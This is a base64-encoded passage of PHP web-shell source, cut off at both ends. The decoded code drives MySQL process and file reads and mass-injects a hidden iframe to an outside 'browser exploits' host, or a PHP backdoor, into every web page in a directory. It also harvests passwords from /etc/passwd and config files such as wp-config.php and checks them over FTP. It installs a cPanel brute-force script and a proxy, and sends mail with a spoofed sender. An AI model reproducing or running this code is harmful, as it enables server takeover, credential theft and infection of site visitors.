CRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPjwvY2VudGVyPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJzZXJ2ZXJ2YXJzIikgew0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgVkFSSUFCTEVTIiwgJHNxbF9zb2NrKTsNCiAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+TmFtZTwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7ZWNobyAiPHRyPjx0ZD4iLiRyb3dbMF0uIjwvdGQ+PHRkPiIuJHJvd1sxXS4iPC90ZD48L3RyPiI7fQ0KICAgICBlY2hvICI8L3RhYmxlPiI7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgIH0NCiAgICBpZiAoJHNxbF94ID09ICJwcm9jZXNzZXMiKSB7DQogICAgIGlmICghZW1wdHkoJGtpbGwpKSB7DQogICAgICAgJHF1ZXJ5ID0gIktJTEwgIi4ka2lsbC4iOyI7DQogICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwgJHNxbF9zb2NrKTsNCiAgICAgICBlY2hvICI8Yj5Qcm9jZXNzICMiLiRraWxsLiIgd2FzIGtpbGxlZC48L2I+IjsNCiAgICAgfQ0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgUFJPQ0VTU0xJU1QiLCAkc3FsX3NvY2spOw0KICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJvcmRlckNvbG9yTGlnaHQ9IzMzMzMzMyBib3JkZXI9MT48dGQ+PGI+SUQ8L2I+PC90ZD48dGQ+PGI+VVNFUjwvYj48L3RkPjx0ZD48Yj5IT1NUPC9iPjwvdGQ+PHRkPjxiPkRCPC9iPjwvdGQ+PHRkPjxiPkNPTU1BTkQ8L2I+PC90ZD48dGQ+PGI+VElNRTwvYj48L3RkPjx0ZD48Yj5TVEFURTwvYj48L3RkPjx0ZD48Yj5JTkZPPC9iPjwvdGQ+PHRkPjxiPkFjdGlvbjwvYj48L3RkPjwvdHI+IjsNCiAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9OVU0pKSB7IGVjaG8gIjx0cj48dGQ+Ii4kcm93WzBdLiI8L3RkPjx0ZD4iLiRyb3dbMV0uIjwvdGQ+PHRkPiIuJHJvd1syXS4iPC90ZD48dGQ+Ii4kcm93WzNdLiI8L3RkPjx0ZD4iLiRyb3dbNF0uIjwvdGQ+PHRkPiIuJHJvd1s1XS4iPC90ZD48dGQ+Ii4kcm93WzZdLiI8L3RkPjx0ZD4iLiRyb3dbN10uIjwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3g9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX3ggPT0gImdldGZpbGUiKQ0KICAgIHsNCiAgICAgJHRtcGRiID0gJHNxbF9sb2dpbi4iX3RtcGRiIjsNCiAgICAgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOw0KICAgICBpZiAoISRzZWxlY3QpIHtteXNxbF9jcmVhdGVfZGIoJHRtcGRiKTsgJHNlbGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOyAkY3JlYXRlZCA9ICEhJHNlbGVjdDt9DQogICAgIGlmICgkc2VsZWN0KQ0KICAgICB7DQogICAgICAkY3JlYXRlZCA9IEZBTFNFOw0KICAgICAgbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdG1wX2ZpbGVgICggYFZpZXdpbmcgdGhlIGZpbGUgaW4gc2FmZV9tb2RlK29wZW5fYmFzZWRpcmAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiKTsNCiAgICAgIG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgSU5GSUxFIFwiIi5hZGRzbGFzaGVzKCRzcWxfZ2V0ZmlsZSkuIlwiIElOVE8gVEFCTEUgdG1wX2ZpbGUiKTsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsNCiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8gIjxiPkVycm9yIGluIHJlYWRpbmcgZmlsZSAocGVybWlzaW9uIGRlbmllZCkhPC9iPiI7fQ0KICAgICAgZWxzZQ0KICAgICAgew0KICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHskbmFtZSA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7fQ0KICAgICAgICRmID0gIiI7DQogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQ0KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fQ0KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOw0KICAgICAgfQ0KICAgICB9DQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgDQogICAgfQ0KICAgfQ0KICB9DQp9DQplY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYgKCRzcWxfc29jaykgew0KICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICBpZiAoKCFpc19udW1lcmljKCRhZmZlY3RlZCkpIG9yICgkYWZmZWN0ZWQgPCAwKSl7JGFmZmVjdGVkID0gMDt9DQogIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dzIDogIi4kYWZmZWN0ZWQuIjwvY2VudGVyPjwvdGQ+PC90cj4iOw0KfQ0KZWNobyAiPC90YWJsZT4iOw0KfQ0KDQppZiAoJHggPT0gJ21hc3Nicm93c2Vyc3Bsb2l0Jykgew0KPz4NCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgSFRNTCB0byB0aGUgZW5kIG9mIGV2ZXJ5IC5waHAsIC5odG0sIGFuZCAuaHRtbCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJnb2FoZWFkIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJhY3QiIHZhbHVlPSJtYXNzYnJvd3NlcnNwbG9pdCI+DQo8dGFibGUgYm9yZGVyPTA+DQo8dHI+PHRkPkRpciB0byBpbmplY3Q6IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBuYW1lPSJwYXRodG9tYXNzIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnLicpOyA/PiI+IDwtLSBkZWZhdWx0IGlzIGRpciB0aGlzIHNoZWxsIGlzIGluPC90ZD48L3RyPg0KPHRyPjx0ZD5Db2RlIHRvIGluamVjdDogPC90ZD48dGQ+PHRleHRhcmVhIG5hbWU9ImluamVjdHRoaXMiIGNvbHM9NTAgcm93cz00Pjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygnPElGUkFNRSBzcmM9Imh0dHA6Ly93d3cuZngwLm5hbWUiIHdpZHRoPTAgaGVpZ2h0PTAgZnJhbWVib3JkZXI9MD48L0lGUkFNRT4nKTsgPz48L3RleHRhcmVhPiA8LS0gYmVzdCBiZXQgd291bGQgYmUgdG8gaW5jbHVkZSBhbiBpbnZpc2libGUgaWZyYW1lIG9mIGJyb3dzZXIgZXhwbG9pdHM8L3RkPjwvdHI+DQo8dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iSW5qZWN0IENvZGUiPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8P3BocA0KaWYgKCRfR0VUWydtYXNzc3Bsb2l0J10gPT0gJ2dvYWhlYWQnKSB7DQoJaWYgKGlzX2RpcigkX0dFVFsncGF0aHRvbWFzcyddKSkgew0KCQkkbG9saW5qZWN0ID0gJF9HRVRbJ2luamVjdHRoaXMnXTsNCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5waHAiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPicuJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj48L2ZvbnQ+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCQlmb3JlYWNoIChnbG9iKCRfR0VUWydwYXRodG9tYXNzJ10uIi8qLmh0bSIpIGFzICRpbmplY3RqMDApIHsNCgkJCSRmcD1mb3BlbigkaW5qZWN0ajAwLCJhKyIpOw0KCQkJaWYgKGZwdXRzKCRmcCwkbG9saW5qZWN0KSl7DQoJCQkJZWNobyAkaW5qZWN0ajAwLicgd2FzIGluamVjdGVkPGJyPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPXJlZD5mYWlsZWQgdG8gaW5qZWN0ICcuJGluamVjdGowMC4nPC9mb250Pic7DQoJCQl9DQoJCX0NCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5odG1sIikgYXMgJGluamVjdGowMCkgew0KCQkJJGZwPWZvcGVuKCRpbmplY3RqMDAsImErIik7DQoJCQlpZiAoZnB1dHMoJGZwLCRsb2xpbmplY3QpKXsNCgkJCQllY2hvICRpbmplY3RqMDAuJyB3YXMgaW5qZWN0ZWQ8YnI+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7IC8vZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsIC0tIGlmIG5vdCwgc2hvdyBhbiB1Z2x5IHJlZCBlcnJvcg0KCQllY2hvICc8Yj48Zm9udCBjb2xvcj1yZWQ+Jy4kX0dFVFsncGF0aHRvbWFzcyddLicgaXMgbm90IGF2YWlsYWJsZSE8L2ZvbnQ+PC9iPic7DQoJfSAvLyBlbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwsIGZvciByZWFsIHRoaXMgdGltZQ0KfSAvLyBlbmQgaWYgY29uZmlybWF0aW9uIHRvIG1hc3Mgc3Bsb2l0IGlzIGdvDQoNCi8vbmV3IHBocCBiYWNrZG9vcg0KPz4NCjxiPk1hc3MgQ29kZSBJbmplY3Rpb246PC9iPjxicj48YnI+DQpVc2UgdGhpcyB0byBhZGQgUEhQIHRvIHRoZSBlbmQgb2YgZXZlcnkgLnBocCBwYWdlIGluIHRoZSBkaXJlY3Rvcnkgc3BlY2lmaWVkLjxicj48YnI+DQo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Im1hc3NzcGxvaXQiIHZhbHVlPSJwaHAiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImFjdCIgdmFsdWU9Im1hc3Nicm93c2Vyc3Bsb2l0Ij4NCjx0YWJsZSBib3JkZXI9MD4NCjx0cj48dGQ+RGlyIHRvIGluamVjdDogPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG5hbWU9InBhdGh0b21hc3MiIHZhbHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcuJyk7ID8+Ij4gPC0tIGRlZmF1bHQgaXMgZGlyIHRoaXMgc2hlbGwgaXMgaW48L3RkPjwvdHI+DQo8dHI+PHRkPkNvZGUgdG8gaW5qZWN0OiA8L3RkPjx0ZD48dGV4dGFyZWEgbmFtZT0iaW5qZWN0dGhpcyIgY29scz01MCByb3dzPTQ+PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCc8P3BocCBpZiAoJF9HRVRbIngiXSA9PSAibHVsIikgeyAvKmNvZGUqLzsgfSA/PicpOyA/PjwvdGV4dGFyZWE+PC90ZD48L3RyPg0KPHRyPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkluamVjdCBDb2RlIj48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPD9waHANCmlmICgkX0dFVFsnbWFzc3NwbG9pdCddID09ICdwaHAnKSB7DQoJaWYgKGlzX2RpcigkX0dFVFsncGF0aHRvbWFzcyddKSkgew0KCQkkbG9saW5qZWN0ID0gJF9HRVRbJ2luamVjdHRoaXMnXTsNCgkJZm9yZWFjaCAoZ2xvYigkX0dFVFsncGF0aHRvbWFzcyddLiIvKi5waHAiKSBhcyAkaW5qZWN0ajAwKSB7DQoJCQkkZnA9Zm9wZW4oJGluamVjdGowMCwiYSsiKTsNCgkJCWlmIChmcHV0cygkZnAsJGxvbGluamVjdCkpew0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPicuJGluamVjdGowMC4nIHdhcyBpbmplY3RlZDxicj48L2ZvbnQ+JzsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPmZhaWxlZCB0byBpbmplY3QgJy4kaW5qZWN0ajAwLic8L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KCX0gZWxzZSB7IC8vZW5kIGlmIGlucHV0dGVkIGRpciBpcyByZWFsIC0tIGlmIG5vdCwgc2hvdyBhbiB1Z2x5IHJlZCBlcnJvcg0KCQllY2hvICc8Yj48Zm9udCBjb2xvcj1yZWQ+Jy4kX0dFVFsncGF0aHRvbWFzcyddLicgaXMgbm90IGF2YWlsYWJsZSE8L2ZvbnQ+PC9iPic7DQoJfSAvLyBlbmQgaWYgaW5wdXR0ZWQgZGlyIGlzIHJlYWwsIGZvciByZWFsIHRoaXMgdGltZQ0KfSAvLyBlbmQgaWYgY29uZmlybWF0aW9uIHRvIG1hc3Mgc3Bsb2l0IGlzIHBocCBvbmx5DQoNCg0KfSAvLyBlbmQgaWYgbWFzc2Jyb3dzZXJzcGxvaXQgaXMgY2FsbGVkDQoNCg0KDQoNCg0KaWYgKCR4ID09ICdjcGFuZWwnKXsNCglpZiAoJF9HRVRbJ2dvJ10gPT0gJ2dvJyl7DQoJc2V0X3RpbWVfbGltaXQoMCk7DQoJIyMjIyMjIyMjIyMjIyMjIyMjDQoJQCRwYXNzd2Q9Zm9wZW4oJy9ldGMvcGFzc3dkJywncicpOw0KCWlmICghJHBhc3N3ZCkgew0KCSAgIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7DQoJICAgZXhpdDsNCgl9DQoJJHBhdGhfdG9fcHVibGljPWFycmF5KCk7DQoJJHVzZXJzPWFycmF5KCk7DQoJJHBhdGh0b2NvbmY9YXJyYXkoKTsNCgkkaT0wOw0KCQ0KCXdoaWxlKCFmZW9mKCRwYXNzd2QpKSB7DQoJICAkc3RyPWZnZXRzKCRwYXNzd2QpOw0KCSAgaWYgKCRpPjM1KSB7DQoJCSRwb3M9c3RycG9zKCRzdHIsIjoiKTsNCgkJJHVzZXJuYW1lPXN1YnN0cigkc3RyLDAsJHBvcyk7DQoJCSRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsNCgkJaWYgKCgkdXNlcm5hbWUhPSIiKSkgew0KCQkJaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KCQkJCWFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQoJCQkJYXJyYXlfcHVzaCgkcGF0aF90b19wdWJsaWMsJGRpcnopOw0KCQkJfQ0KCQl9DQoJICB9DQoJICAkaSsrOw0KCX0NCgkjIyMjIyMjIyMjIyMjIyMjIyMjDQoJDQoJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCWZ1bmN0aW9uIHJlYWRfZGlyKCRwYXRoLCR1c2VybmFtZSkgew0KCQlpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7DQoJCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IHJlYWRkaXIoJGhhbmRsZSkpKSB7DQoJCQkJICAkZnBhdGg9IiRwYXRoJGZpbGUiOw0KCQkJCSAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgew0KCQkJCQkgaWYgKGlzX3JlYWRhYmxlKCRmcGF0aCkpIHsNCgkJCQkJCSRkcj0iJGZwYXRoLyI7DQoJCQkJCQlpZiAoaXNfZGlyKCRkcikpIHsNCgkJCQkJCSAgIHJlYWRfZGlyKCRkciwkdXNlcm5hbWUpOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZSB7DQoJCQkJCQkJIGlmICgoJGZpbGU9PSdjb25maWcucGhwJykgb3IgKCRmaWxlPT0nY29uZmlnLmluYy5waHAnKSBvciAoJGZpbGU9PSdkYi5pbmMucGhwJykgb3IgKCRmaWxlPT0nY29ubmVjdC5waHAnKSBvciAoJGZpbGU9PSd3cC1jb25maWcucGhwJykgb3IgKCRmaWxlPT0ndmFyLnBocCcpIG9yICgkZmlsZT09J2NvbmZpZ3VyZS5waHAnKSBvciAoJGZpbGU9PSdkYi5waHAnKSBvciAoJGZpbGU9PSdkYl9jb25uZWN0LnBocCcpKSB7DQoJCQkJCQkJCSRwYXNzPWdldF9wYXNzKCRmcGF0aCk7DQoJCQkJCQkJCWlmICgkcGFzcyE9JycpIHsNCgkJCQkJCQkJICAgZWNobyAiWytdICRmcGF0aFxuJHBhc3NcbiI7DQoJCQkJCQkJCSAgIGZ0cF9jaGVjaygkdXNlcm5hbWUsJHBhc3MpOw0KCQkJCQkJCQl9DQoJCQkJCQkJIH0NCgkJCQkJCX0NCgkJCQkJIH0NCgkJCQkgIH0NCgkJCX0NCgkJfQ0KCX0NCgkNCglmdW5jdGlvbiBnZXRfcGFzcygkbGluaykgew0KCQlAJGNvbmZpZz1mb3BlbigkbGluaywncicpOw0KCQl3aGlsZSghZmVvZigkY29uZmlnKSkgew0KCQkJJGxpbmU9ZmdldHMoJGNvbmZpZyk7DQoJCQlpZiAoc3Ryc3RyKCRsaW5lLCdwYXNzJykgb3Igc3Ryc3RyKCRsaW5lLCdwYXNzd29yZCcpIG9yIHN0cnN0cigkbGluZSwncGFzc3dkJykpIHsNCgkJCQlpZiAoc3RycnBvcygkbGluZSwnIicpKQ0KCQkJCSAgICRwYXNzPXN1YnN0cigkbGluZSwoc3RycG9zKCRsaW5lLCc9JykrMyksKHN0cnJwb3MoJGxpbmUsJyInKS0oc3RycG9zKCRsaW5lLCc9JykrMykpKTsNCgkJCQllbHNlDQoJCQkJICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOw0KCQkJCXJldHVybiAkcGFzczsNCgkJCX0NCgkJfQ0KCX0NCgkNCglmdW5jdGlvbiBmdHBfY2hlY2soJGxvZ2luLCRwYXNzKSB7DQoJCSBAJGZ0cD1mdHBfY29ubmVjdCgnMTI3LjAuMC4xJyk7DQoJCSBpZiAoJGZ0cCkgew0KCQkJQCRyZXM9ZnRwX2xvZ2luKCRmdHAsJGxvZ2luLCRwYXNzKTsNCgkJCWlmICgkcmVzKSB7DQoJCQkgICBlY2hvICdbY1BhbmVsIEZvdW5kXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsNCgkJCX0NCgkJCWVsc2UgZnRwX3F1aXQoJGZ0cCk7DQoJCSB9DQoJfQ0KCQ0KCWVjaG8gIjxicj48YnI+IjsNCgllY2hvICI8dGV4dGFyZWEgbmFtZT0nbWFpbl93aW5kb3cnIGNvbHM9MTAwIHJvd3M9MjA+IjsNCgkNCgllY2hvICJbK10gRm91bmQgIi5zaXplb2YoJHVzZXJzKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIjsNCgllY2hvICJbK10gRm91bmQgIi5zaXplb2YoJHBhdGhfdG9fcHVibGljKS4iIHJlYWRhYmxlIHB1YmxpY19odG1sIGRpcmVjdG9yaWVzXG4iOw0KCQ0KCWVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOw0KCWZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgew0KCQkJJHBhdGg9Ii9ob21lLyR1c2VyL3B1YmxpY19odG1sLyI7DQoJCQlyZWFkX2RpcigkcGF0aCwkdXNlcik7DQoJfQ0KCQ0KCWVjaG8gIlxuWytdIERvbmVcbiI7DQoJDQoJZWNobyAiPC90ZXh0YXJlYT48YnI+IjsNCgl9ZWxzZQ0KCWVjaG8gJzxjZW50ZXI+QXJlIHlvdSBzdXJlIHlvdSB3b3VsZCBsaWtlIHRvIHNlYXJjaCBmb3IgY1BhbmVsIGFjY291bnRzIG9uIHRoaXMgd2Vic2l0ZS9zZXJ2ZXI/PGJyPlBsZWFzZSBub3RlIHRoaXMgbWF5IHRha2UgYSBsb25nIHRpbWUgdG8gZXhlY3V0ZSBkZXBlbmRpbmcgb24gdGhlIHdlYnNpdGUvc2VydmVyIGl0IGlzIHJ1biBvbi48YnI+PGJyPjxhIGhyZWY9IicuJHN1cmwuJ3g9Y3BhbmVsJmdvPWdvIj5ZZXM8L2E+IHx8IDxhIGhyZWY9IicuJHN1cmwuJyI+Tm88L2E+PC9jZW50ZXI+JzsNCn0NCg0KaWYgKCR4ID09ICdmaScpew0KPz4NCjxiPkNwYW5lbCBCcnV0ZUZvcmNlIFNjcmlwdDwvYj48YnI+DQo8Zm9ybSBhY3Rpb249PD9waHAgZWNobyAkc3VybDsgPz4gbWV0aG9kPUdFVD4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ4IiB2YWx1ZT0iZmkiPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Imluc3RhbGwiIHZhbHVlPSJ5dXAiPg0KUGF0aCB0byBpbnN0YWxsIGluOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+IChtdXN0IGhhdmUgZmluYWwgLyk8YnI+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ikluc3RhbGwiPjwvZm9ybT4NCjw/cGhwDQoJCWlmICgkX0dFVFsnaW5zdGFsbCddID09ICd5dXAnKSB7DQoJCQlpZiAoaXNfd3JpdGFibGUoJF9HRVRbJ3BhdGgnXSkpIHsNCgkJCQljZigkX0dFVFsncGF0aCddLidjcC5waHAnLCAkZmkpOw0KCQkJCWVjaG8gJzxmb250IGNvbG9yPWdyZWVuPjxiPmNwLnBocCB3YXMgY3JlYXRlZCBpbiAnLmh0bWxlbnRpdGllcygkX0dFVFsncGF0aCddKS4nPC9iPjwvZm9udD4nOw0KCQkJCWNobW9kKCRfR0VUWydwYXRoJ10uJy9jcC5waHAnLCAwNzc1KTsNCgkJCQllY2hvICc8YnIgLz5UbyBleGVjdXRlLCBicm93c2UgdG8gdGhlIHBhZ2UgZXg6IGh0dHA6Ly9zaXRlLmNvbS9jcC5waHAnOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAnPGZvbnQgY29sb3I9cmVkPjxiPkRpcmVjdG9yeSBpcyBub3Qgd3JpdGFibGUhPC9iPjxicj48L2ZvbnQ+JzsNCgkJCX0NCgkJfQ0KfQ0KDQppZiAoJHggPT0gJ3BocHByb3h5Jyl7DQo/Pg0KPGI+SW5zdGFsbCBQSFAgQmFzZWQgUHJveHk8L2I+PGJyPg0KPGZvcm0gYWN0aW9uPTw/cGhwIGVjaG8gJHN1cmw7ID8+IG1ldGhvZD1HRVQ+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ieCIgdmFsdWU9InBocHByb3h5Ij4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJpbnN0YWxsIiB2YWx1ZT0ieXVwIj4NClBhdGggdG8gaW5zdGFsbCBpbjogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJwYXRoIiB2YWx1ZT0iPD9waHAgZWNobyAkZDsgPz4iPiAobXVzdCBoYXZlIGZpbmFsIC8pPGJyPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJJbnN0YWxsIj48L2Zvcm0+DQo8P3BocA0KCQlpZiAoJF9HRVRbJ2luc3RhbGwnXSA9PSAneXVwJykgew0KCQkJaWYgKGlzX3dyaXRhYmxlKCRfR0VUWydwYXRoJ10pKSB7DQoJCQkJY2YoJF9HRVRbJ3BhdGgnXS4ncHJveHkucGhwJywgJHBocHByb3h5KTsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1ncmVlbj48Yj5wcm94eS5waHAgd2FzIGNyZWF0ZWQgaW4gJy5odG1sZW50aXRpZXMoJF9HRVRbJ3BhdGgnXSkuJzwvYj48L2ZvbnQ+JzsNCgkJCQljaG1vZCgkX0dFVFsncGF0aCddLicvcHJveHkucGhwJywgMDc3Nyk7DQoJCQl9ZWxzZXsNCgkJCQllY2hvICc8Zm9udCBjb2xvcj1yZWQ+PGI+RGlyZWN0b3J5IGlzIG5vdCB3cml0YWJsZSE8L2I+PGJyPjwvZm9udD4nOw0KCQkJfQ0KCQl9DQp9DQoNCg0KaWYgKCR4ID09ICdwaHB0b29scycpew0KPz48Y2VudGVyPjw/cGhwDQovL21haWxlcg0KZWNobyAnPGI+TWFpbGVyPC9iPjxicj4NCjxmb3JtIGFjdGlvbj0iJy4kc3VybC4nIiBtZXRob2Q9R0VUPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0icGhwdG9vbHMiPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvIHZhbHVlPXRvPjxicj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT1mcm9tIHZhbHVlPWZyb20+PGJyPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPXN1YmplY3QgdmFsdWU9c3ViamVjdD48YnI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9Ym9keSB2YWx1ZT1ib2R5Pjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1TdWJtaXQ+PC9mb3JtPic7DQppZiAoaXNzZXQoJF9HRVRbJ3RvJ10pICYmIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIGlzc2V0KCRfR0VUWydzdWJqZWN0J10pICYmIGlzc2V0KCRfR0VUWydib2R5J10pKSB7DQoJJGhlYWRlcnMgPSAnRnJvbTogJy4kX0dFVFsnZnJvbSddOw0KCW1haWwgKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ2JvZHknXSwkaGVhZGVycyk7DQoJZWNobyAnRW